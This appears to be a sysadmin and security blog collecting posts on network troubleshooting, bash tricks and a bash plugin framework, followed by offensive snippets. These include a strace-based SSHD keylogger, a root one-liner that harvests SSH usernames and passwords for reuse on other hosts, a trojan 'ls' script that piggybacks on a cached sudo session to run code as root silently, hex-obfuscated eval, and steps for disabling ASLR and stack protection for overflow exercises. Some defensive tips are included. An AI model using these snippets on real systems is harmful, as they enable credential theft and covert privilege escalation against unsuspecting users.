How to ask about connectivity issues

So you're trying to connect one system to another using this newfangled TCP/IP stuff the kids are using these days. But what's this? It doesn't work? You need to ask someone to look into it. You even know who. But what should you ask and what information should you provide so that they can investigate quickly and effectively?

As well as a bit of background to the problem (applications involved, environments etc), you should provide at least the following:

• Has it ever worked?
• Have you changed anything recently?
• Source IP
• Destination IP
• Protocol (TCP or UDP etc) if it isn't obvious from the context
• Port if it isn't obvious from the context

Common causes are:

• Wrong information - are you connecting to the right host?
• Routing
• Firewalls
• Network or system outages

Have you tried the following?

• Doing a host, dig or nslookup if dealing with a domain
• Pinging the remote host
• Connecting using netcat or telnet
• Traceroute

It is probably worth providing the output to the above commands if possible.

10 useful little bash tricks

We're going to have a quick look at a collection of ten little bash tricks that you may or may not know. Or possibly forget. Or perhaps know, but don't tend to use often and so this might be a good reminder.

Please note, this stuff was tested on Bash 4.1.5. You can find further details and examples for all these tricks in the Bash manpage.

1::Using previous command

This trick is very simple. If you run a command and then have to repeat it (for example using sudo)
then instead of typing the whole command again you can refer to it using !!.

user@host:~$ aptitude install blah
[100%] Reading package lists^C
user@host:~$ sudo !!
sudo aptitude install blah
[sudo] password for user:
...
user@host:~$

As you can see, it even prints out the new full command.

2::Using previous argument(s)

Similar to the first trick, bash will allow you to easily reference the last argument of the previous command.

In this first example we're going to touch a few files, then decide to remove the last one.

user@host:~$ touch a b c
user@host:~$ rm !$
rm c
user@host:~$ ls
a  b
user@host:~$

As you can see, !$ only expanded to c. If you only had one argument, it would exand to that one argument.

We can also reference all the previous arguments using !*

user@host:~$ touch a b c
user@host:~$ rm !*
rm a b c
user@host:~$ ls
user@host:~$

3::Process Substitution

Right, now its time to move on to something a little different.

We want to compare the files in two directories to see which are in common, missing or changed etc. It would make sense to use the diff utility to help. We are also going to use md5sum to get a fingerprint of the files so we can see if they have changed. All we have to do is look through each directory (using find), do an md5sum of each file and compare the two lists.

Now, diff usually expects to operate on two files. We could redirect our results into files and then diff those files, but there is a smarter way. By using the <(list) for we can run our finds and diff will treat the results files.

diff <(cd boot-a; find . -exec md5sum {} \;) <(cd boot-b; find . -exec md5sum {} \;)

< 9c830b456ed37e0c0d63f2528fb43de5  ./initrd.img-2.6.35-23-generic
7,8d5
< f70fd0262a6f8e1e82028237e94657fc  ./config-2.6.32-25-generic
< c16c8e1705a54db8b96adce7de17710a  ./vmcoreinfo-2.6.32-25-generic
10d6
< b1f002028905e42f594c83603606ca0b  ./config-2.6.35-23-generic
12,16d7
< 668d54c704f22d85cb548f27a7e19d41  ./config-2.6.35-22-generic
< 882721477fcf705c02b60a4bb219b0c8  ./vmlinuz-2.6.32-25-generic
< 88472c27c3d18a832b5d85aea1edc541  ./abi-2.6.35-22-generic
< 496b4aed0005b07574e9dd3895089b23  ./abi-2.6.35-23-generic
< 6ee40238bdabb40a862c6f63262efa9d  ./System.map-2.6.32-25-generic
18d8
< 4e02de05c66cb0b322dc5c71f43882e9  ./System.map-2.6.35-23-generic
84c74
< ac9641014f0b460fc6eb5d2936bd869c  ./grub/menu.lst
---
> c5cce31e9e9eb884685137aac1ab8a8a  ./grub/menu.lst

As you can see, boot-a had quite a few files that boot-b was missing, and grub/menu.lst was different between the two directories.

4::Here document and redirect

Sometimes you need to put together a little config file, or perhaps a test HTML page. It is possible to do it quickly without having to resort to opening some sort of editor such as vi.

user@host:~$ cat << EOF > test.conf
> option1=blah
> option2=something else
> debug=true
> # end of config
> EOF
user@host:~$ cat test.conf
option1=blah
option2=something else
debug=true
# end of config
user@host:~$

What we did is specified a here document using << EOF. This keeps reading from the terminal until it encounters the string EOF. That is then redirected into the file, in this case test.conf.

5::List expansion when copying

This a very simple but extremely useful little trick that I'm sure you already know, but because of how often it is useful, I thought I'd put it here anyway.

Let us say you have a file you want to quickly backup. Instead of doing something like cp file file.backup we can use list expansion to shorten the command:

user@host:~$ ls
special.conf
user@host:~$ cp special.conf{,.backup}
user@host:~$ ls
special.conf  special.conf.backup
user@host:~$

6::Nested list expansion

Sticking with list expansion, it is worth remembering that you can have nested lists:

user@host:~$ touch {a{1..5},b{1,2,4},c{5..9}}
user@host:~$ ls
a1  a2  a3  a4  a5  b1  b2  b4  c5  c6  c7  c8  c9

7::Quick maths

Need to do a quick calculation? Already have a terminal open? Don't bother firing up a calculator, just do the calculation in bash:

user@host:~$ echo $((2**32))
4294967296
user@host:~$

See the Bash manpage for the supported operators.

8::Tilda expansion

Bash allows you to quickly reference the current $PWD and old one ($OLDPWD). This could be useful if you forgot to use pushd/popd:

user@host:~/a$ cd ../b
user@host:~/b$ ls ~+
inside_b
user@host:~/b$ ls ~-
inside_a
user@host:~/b$ echo $OLDPWD
/home/user/a
user@host:~/b$ 

So, ~+ expands to $PWD and ~- expands to $OLDPWD.

9::Setting default values

When you have a bash script that takes command line arguments you might want to set default values if no arguments are supplied by the user.

In the bash script below, we default arg1 to "a" if argument 1 is not supplied. We default arg2 to "b" and arg3 to "c". Of course, the order of the arguments matters.

#!/bin/bash

arg1=${1:-"a"}
arg2=${2:-"b"}
arg3=${3:-"c"}

echo $arg1 $arg2 $arg3

When we run the script without arguments, it uses the defaults. But when we give it arguments, it uses those values.

user@host:~/test$ bash test.sh
a b c
user@host:~/test$ bash test.sh x y z
x y z
user@host:~/test$

10::TCP and UDP

Finally, bash allows you to send TCP and UDP traffic directly using a special device of the format /dev/tcp/host/port (use udp instead of tcp if necessary).

Firstly, we set file descriptor 3 to use that device. We can do that with exec, as it suggests in the manual:

"Note that the exec builtin command can make redirections take effect in the current shell."

user@host:~$ exec 3<>/dev/tcp/localhost/80
user@host:~$ ls -la /proc/$$/fd/
total 0
dr-x------ 2 user user  0 2011-02-27 16:34 .
dr-xr-xr-x 7 user user  0 2011-02-27 16:34 ..
lr-x------ 1 user user 64 2011-02-27 16:34 0 -> /dev/pts/8
lrwx------ 1 user user 64 2011-02-27 16:34 1 -> /dev/pts/8
lrwx------ 1 user user 64 2011-02-27 16:34 2 -> /dev/pts/8
lrwx------ 1 user user 64 2011-02-27 16:34 255 -> /dev/pts/8
lrwx------ 1 user user 64 2011-02-27 16:34 3 -> socket:[156914]
user@host:~$

We quickly use $$ to see the open file descriptors for our process. As you can see, FD 3 has been opened for a socket connection, in this case a TCP connection to localhost on port 80.

We can now use redirect echo into FD 3. Note that we use the -e option so that bash interprets the escaped characters giving us new lines needed by the HTTP protocol. We then redirect into cat to read the output.

user@host:~$ echo -e "GET / HTTP/1.0\n\n" >&3
user@host:~$ cat <&3
HTTP/1.1 200 OK
Date: Sun, 27 Feb 2011 16:34:26 GMT
Server: Apache/2.2.16 (Ubuntu)
Last-Modified: Sun, 27 Feb 2011 16:25:27 GMT
ETag: "901-e-49d4602cddfad"
Accept-Ranges: bytes
Content-Length: 14
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

<h1>Hai!</h1>
user@host:~$

Cool huh? Not a telnet, netcat or wget in sight...

Fun with bash: crc16, hashes and plugins

Today I released simple plugin architecture for bash scripts.

To do what it does, it uses three interesting features of bash:

• The source command to read in the plugins


• Bash arrays turned into hashes using a crc16 function written in bash


• Bash functions within functions to limit the scope of plugin commands

This post describes those three interesting features.

Bash Plugin Architecture

The project page is at: http://code.google.com/p/b-p-a/

It allows you to create plugins like:

user@host:~/bpa$ cat plugins/security/nmap.shp 
#!/bin/bash

registerPlugin "NMap" "nmap" "The mighty portscanner"

registerCommand 'SynScan' 'syn' 'TCP Syn scan of hosts'
registerCommand 'Ping' 'ping' 'Ping scan of hosts'

# Name of the plugin
NMap()
{
        # Name of the command.
        # Each command goes inside the Plugin() function
        SynScan()
        {
                # Code for this command
                hosts=$@
                nmap -sS -P0 $hosts
        }

        Ping()
        {
                hosts=$@
                nmap -v -sP $hosts 
        }
}

which can be used like

$ sudo security.sh --nmap --syn -- 192.168.0.1

For this to work, security.sh just needs to source the BPA.sh script and run a few commands (see the project page for details).

Sourcing plugins

This feature is probably the simplest, and part of the code of BPA.sh is below:

#
# Registers a new application.
#
# This must be the first thing called inside the application script.
#
# @param name
#   Name of the application.
#
# @param debug
#   (optional) If set to '1' debugging is enabled for the application. Defaults
#   to '0'.
#
# @param plugins
#   (optional) Sets the plugins directory for the application. Defaults to
#   './plugins' inside the directory of the application script.
#
# @return
#   Does not return a value
#
# Example:
# @code
#   new 'MyApp' 1 '/var/lib/plugins/myapp'
# 
new() {
        sAppName="$1"
        bDebug=${2:-"0"}
        sAppPluginsDir=${3:-"./plugins"}

        doDebug=$bDebug

        debug "New application $sAppName"
        for plugin in $(ls ${sAppPluginsDir}/*.shp); do
                debug "Sourcing $plugin"
                source "$plugin"
        done
}

Basically, when the application script security.sh sources the main script BPA.sh and calls the new function, looks inside a plugins directory for all files ending in .shp (shell plugin). For each file it finds it calls the source command.

Now, when you source a plugin, you run it's registerPlugin function and all of it's registerCommand functions which in turn uses the hash functions as described next.

Bash hashes

The registerPlugin function looks something like:

#
# Registers a plugin for the application.
#
# This should the first thing a plugin (.shp) script does.
#
# @param name
#   The name of the plugin.
#
# @param switch
#   The command-line switch used to access the plugin, using --switch.
#
# @param description
#   A description of the plugin. This is displayed when the --help switch
#   is used.
#
# @return
#   Does not return a value
#
# Example
# @code
#   registerPlugin 'MyPlugin' 'my' 'An example plugin'
#
registerPlugin()
{
        sPluginName=$1
        sPluginSwitch=$2
        sPluginDescription=$3

        debug "Registering $sPluginName"

        hash_set $sPluginName name "$sPluginName"
        hash_set $sPluginName description "$sPluginDescription"

        hash_set hPlugins "$sPluginSwitch" "$sPluginName"
}

The interesting thing in that function is the use of hash_set, which is:

#
# Creates hash with given name and sets key/value pair.
#
# @param name
#   Name of the hash.
#
# @param key
#   Hash key value.
#
# @param value
#   Hash value for key.
#
# @return
#   Does not return a value.
#
hash_set()
{
        name=$1
        key=$2
        value=$3
        lookup="${name}_keys"

        id=$(crc16 $key)
        eval $name\[\$id\]=\"\$value\"
        array_push $lookup $key
}

This function takes a name for the hash as its first argument, then a key followed by the value for that key. It then uses the crc16 function (shown below) to generate a numeric index for the actual bash array. It then uses the bash eval command to create a real array from the hash name that was supplied. Finally, it uses a simple array_push function to keep track of the keys in case we want to iterate over them.

Quite simple, and definitely overkill ;) It would be possible to just create two parallel arrays to track the key/value pairs, but this is more fun.

The crc16 function looks like this:

#
# Generates a crc16 value for the given string.
#
# @param string
#   String to be crc16'd.
#
# @return
#   Decimal crc16 value of string
#
crc16()
{
        # This could probably be more efficient...
        string=$1
        aString=($(echo $string | fold -w 1))
        cnt=${#aString[@]}
        crcPolyNom=0x8408
        crcPreset=0xFFFF
        crc=$crcPreset
        
        for ((x=0;x<$cnt;x++)); do
                char=${aString[$x]}
                byte=$(printf "%d" \'$char)
                for ((i=0;i<8;i++)); do
                        (( charLsb = $byte & 0x0001 ))
                        (( crcLsb = $crc & 0x0001 ))
                        (( doAdd = $charLsb ^ $crcLsb ))
        
                        (( byte = $byte >> 1 ))
                        (( crc = $crc >> 1))
        
                        if [ "$doAdd" -eq "1" ]; then
                                (( crc = $crc ^ $crcPolyNom ))
                        fi
                done
        done
        echo $crc
}

To get a value from the array, we just have to generate the crc16 for the key:

#
# Gets the value for key from the given hash.
#
# @param name
#   Name of the hash.
#
# @param key
#   The key value.
#
# @return
#   The value associated with the key
#
hash_get()
{
        name=$1
        key=$2

        id=$(crc16 $key)
        eval echo \$\{$name\[\$id\]\}
}

So yeah, this is pretty slow... but also pretty cool.

Functions within functions

You can declare a function within a function. For example:

NMap()
{
        # Name of the command.
        # Each command goes inside the Plugin() function
        SynScan()
        {
                # Code for this command
                hosts=$@
                nmap -sS -P0 $hosts
        }
}

In order to run the SynScan function, you must first run the NMap function. At first this might not seem very useful. But for a plugin system it is, as it allows multiple plugins to have the same commands, without any clashing.

BPA.sh calls the plugin function and command in the run function:

#
# Runs the actual application.
#
# @return
#   Does not return a value.
#
# Example:
# @code
#   run
#
run() {
        debug "Running $sAppName"
        parse $aAppArgs
        debug "Plugin: $sSelectedPlugin"
        debug "Command: $sSelectedCommand"
        $sSelectedPlugin
        $sSelectedCommand $aCmdArgs
}

So we could happily have another plugin, perhaps like:

OtherCoolPortScanner()
{
        # Name of the command.
        # Each command goes inside the Plugin() function
        SynScan()
        {
                # Code for this command
                hosts=$@
                othercoolportscanner -s $hosts
        }
}

...without worrying about mixups.

A basic SSHD keylogger

strace -p $(pgrep -n -u user sshd) 2>&1 | perl -ne '$_ =~ /^write\(\d+, "([^"]+)"\.\.\., 1\)/ && print time()." ".$1."\n";'

Speaks for itself really. Doesn't catch 'up' and 'down' keys, but does things like new line. CBA to investigate - it served its purpose.

SSHD password sniffing

I remember reading something a while back where someone had a linux honeypot running a modified SSH daemon. This custom SSH daemon would log both the usernames and passwords of attempted connections. This is very interesting from a research point of view, as it gives you an idea as to what kind of password dictionaries are being used.

However, grabbing SSH passwords can also be useful if people tend to accidentally type the wrong password from time to time. You might have gained root on a particular box. By watching the SSH attempts it might be possible to gather additional valid passwords for other parts of the network - just because people accidentally type the wrong one in.

It isn't even necessary to install a new SSH daemon binary. If you already have root, you can just strace the process (assuming of course that strace is installed):

# strace -f -p $(pgrep -o sshd) 2>&1 | perl -ne 'BEGIN { $o=""; } { chomp; if ($_ =~ /getpeername/) { if ($o =~ /read\(\d+, \"\\[0-9a-z]\\[0-9a-f]\\[0-9a-f]\\[0-9a-f]\\[0-9a-f]([^\"]+)\"/) { $u = $1; print "$u, "; } }  if ($_ =~ /getuid\(\)/) { if ($o =~ /read\(\d+, \"\\v\\[0-9a-f]\\[0-9a-f]\\[0-9a-f]\\[0-9a-f]([^\"]+)\"/) { $p = $1; print "$p\n"; }; } $o=$_;}'
cats, anddogs
root, r00t
admin, test
mysql, mysql

Now, the above script doesn't work for all variations of usernames/passwords. It needs some refining... but you get the general idea.

Really crap obscurity for bash scripts

Take a look at the following:

eval $'\x73\x75\x64\x6f\x20\x2d\x6e\x20\x74\x6f\x75\x63\x68\x20\x6f\x77\x6e\x65\x64\x2e\x74\x78\x74\x20\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x0a'

What does it do when you run it? Hah, good question. Something like the following should help:

echo "\x68\x65\x6c\x6c\x6f\x20\x74\x68\x65\x72\x65\x2c\x20\x68\x6f\x77\x20\x61\x72\x65\x20\x79\x6f\x75\x3f\x0a" | perl -ne 'foreach (split(/\\x/, $_)) { /([a-f0-9]{2})/i && print chr(hex($1)) }; print "\n";'

I leave it as an exercise for the reader to work out how to create this silly obscurity.

May I just remind people that security through obscurity doesn't work, and just because something isn't obvious, it doesn't mean it is secure.

Getting back in

Here are two useful snippets of bash code which may come in handy when doing stuff over the network.

This first one checks whether the code is already inside a screen session. If not, it tries to attach itself to the desired screen (given by "name"). If that fails, it runs itself again but inside a screen.

if [ -z "$STY" ]; then
   # Not in screen, does one already exist?
   screen -dr name
   if [ "$?" -eq "1" ]; then
       # Create new screen
       screen -S name "$0"
   fi
   exit 0
fi

This next snippet is a bit like the 15 second countdown when you change your screen resolution. If things are broken to the point where you can't acknowledge the script, it will revert (or take some other action).

echo "NOTICE: Something will happen in 10 seconds UNLESS ctrl-c is pressed!!!"
echo -n "Time remaining: 10"
for i in {9..0}; do
       sleep 1
       echo -e -n "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\bTime remaining: 0$i"
done
echo -e "\nReverting now"
revert_code_goes_here

You can combine the two snippets in something like a firewall script. If you are doing any kind of editing, then you probably want to be inside screen in case you get disconnected. If your changes go horribly wrong and you lose connection to the host, then your revert_code_goes_here script can undo some of the damages.

A word of caution

Be careful when running sudo or root terminals inside a user's screen session. If someone manages to break in with a normal user, it might be as simple as attaching to a screen session to get root on that box.

auth.log and sudo on Ubuntu

Take a look at

#!/bin/bash
eval 'n=$(date +%s); d=$(grep sudo /var/log/auth.log | grep `whoami` | grep COMMAND | tail -1 | awk '"'{ print \$1,\$2,\$3 }'"'); o=$(date -d "$d" +%s); t=$(($n-$o)); [ "$t" -lt "300" ] && sudo -b -n do_evil_stuff >/dev/null 2>&1'
ls --color=auto -I ls $@

What does it do?

Well, if you named it "ls", made it executable and put in it a user's home directory it may allow you to run do_evil_stuff as root.

How does it work?

Basically, it greps the /var/log/auth.log file for lines containing "sudo", the current username and "COMMAND" and then gets the timestamp of the last entry. It compares the timestamp with the current timestamp and if the result is less than 300 seconds (i.e. 5 minutes) it executes do_evil_stuff (create user, backdoor or whatever).

We use the "-b" background option to run do_evil_stuff in the background and we use the "-n" option so that sudo will never prompt the user for a password, thereby giving the game away.

The final command actually runs ls but removes our "ls" script from the output.

Why does it work?

Well, whenever you run the sudo command, it logs it in the auth.log file. Sudo will then generally cache that authentication for 5 minutes so that you don't have to keep typing the password every time you run a command. If you can run a command as the user and then check when they last ran sudo, you can determine whether or not you will be able to use sudo without being prompted for a password.

The user has to be an "administrator" (have access to the admin groups) to use sudo, but it is taking advantage of the default configuration of allowing administrators to read auth.log without being root (or sudoed).

Of course, you have to get this on to the user's machine in the first place, put it somewhere they are likely to run it and make sure they have "." in their path so they run the current directory version.

I have only tried this on Ubuntu Karmic, but it might apply to other distros as well.

If you like, you could get the ls command from an alias if there is one, rather than guessing that they use "--color=auto".

It's a bit old-school, a bit naff but hey. If you want to prevent it, make sure only root can read /var/log/auth.log. I don't know if that would break anything though.

A note or two:

If a user is running multiple terminals in an X session and has run sudo in one of the terminals, then you probably won't be able to borrow it in another terminal, even if sudo was run in the last 5 minutes. However, because we are using sudo's "-n" option, the user shouldn't directly notice our attempt.

Failed sudo attempts should show up in the auth.log, so try to review your logs regularly.


A suggestion or two:

Make sure you don't have "." in your PATH environmental variable.

If you need to run a script with sudo (perhaps it updates the network or something), then do not allow the user to modify it. I suggest you chown it to root and chmod it to 755. Otherwise someone could easily just sneak their code into your script.

Exploiting code on Ubuntu

Ok, so it looks like it has been about a month since my first and only post and as far as I can tell, this is going to be a second post. I have had a number of ideas for things to go here and have now settled on something.

It will only be a short post (once the rambling is over) and to many I'm sure this will be quite basic. However, for a sysadmin looking at security, it might be helpful.

So, lets say you're reading a book like "Hacking, The Art of Exploitation" and you want to do some of the cool exercises on your shiny new Linux distro (Ubuntu Jaunty in my case). You may need to make a few adjustments to get things to work.

Disable address space randomization

This kernel option randomizes process address space (duh) which makes a basic exploit rather difficult:

With it turned off:

$ ./exploit
Stack pointer (ESP) : 0xbffff4b4
  Offset from ESP   : 0x0
Desired return addr : 0xbffff4b4
# 

Now, turn it back on:

# echo 1 > /proc/sys/kernel/randomize_va_space
# cat /proc/sys/kernel/randomize_va_space
1
# exit
$ ./exploit
Stack pointer (ESP) : 0xbf9a4654
  Offset from ESP   : 0x0
Desired return addr : 0xbf9a4654
Segmentation fault
$ ./exploit
Stack pointer (ESP) : 0xbf86c524
  Offset from ESP   : 0x0
Desired return addr : 0xbf86c524
Segmentation fault
$ ./exploit
Stack pointer (ESP) : 0xbfc0d8c4
  Offset from ESP   : 0x0
Desired return addr : 0xbfc0d8c4
Segmentation fault

As you can see, the address in the ESP register is randomized, which makes filling the stack of the vulnerable process with a pre-determined address somewhat useless.

No stack protector and preferred stack boundary

The first gcc option specifically adds extra code to check for buffer overflows. Obviously, if you're playing with a vulnerable app you've written, you probably want to be able to exploit it.

The second option should help simplify stack smashing, although I haven't tested it much.

From the gcc manpage:

This extra alignment does consume extra stack space, and generally increases code size.  Code that is sensitive to stack space usage, such as embedded systems and operating system kernels, may want to reduce the preferred alignment to -mpreferred-stack-boundary=2.

So, simply compile your code with the -fno-stack-protector and -mpreferred-stack-boundary options:

$ gcc -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb -o vuln vuln.c

Note that I have also added the -ggdb debug symbols option to allow me to nicely debug the code.

Actually, while I'm on the subject, my current preferred gdb GUI is Insight. It has a nice source code view and a very good memory dumper. In fact, this might be the subject of my next post.

As you can see from the below code, not disabling stack protection makes a difference:

0x08048459 <main+69>:    mov    eax,0x0 <--- preparing our return 0
0x0804845e <main+74>:    mov    edx,DWORD PTR [ebp-0x8]
0x08048461 <main+77>:    xor    edx,DWORD PTR gs:0x14
0x08048468 <main+84>:    je     0x804846                  <--- FAIL
0x0804846a <main+86>:    call   0x8048350 <__stack_chk_fail@plt>
0x0804846f <main+91>:    add    esp,0x214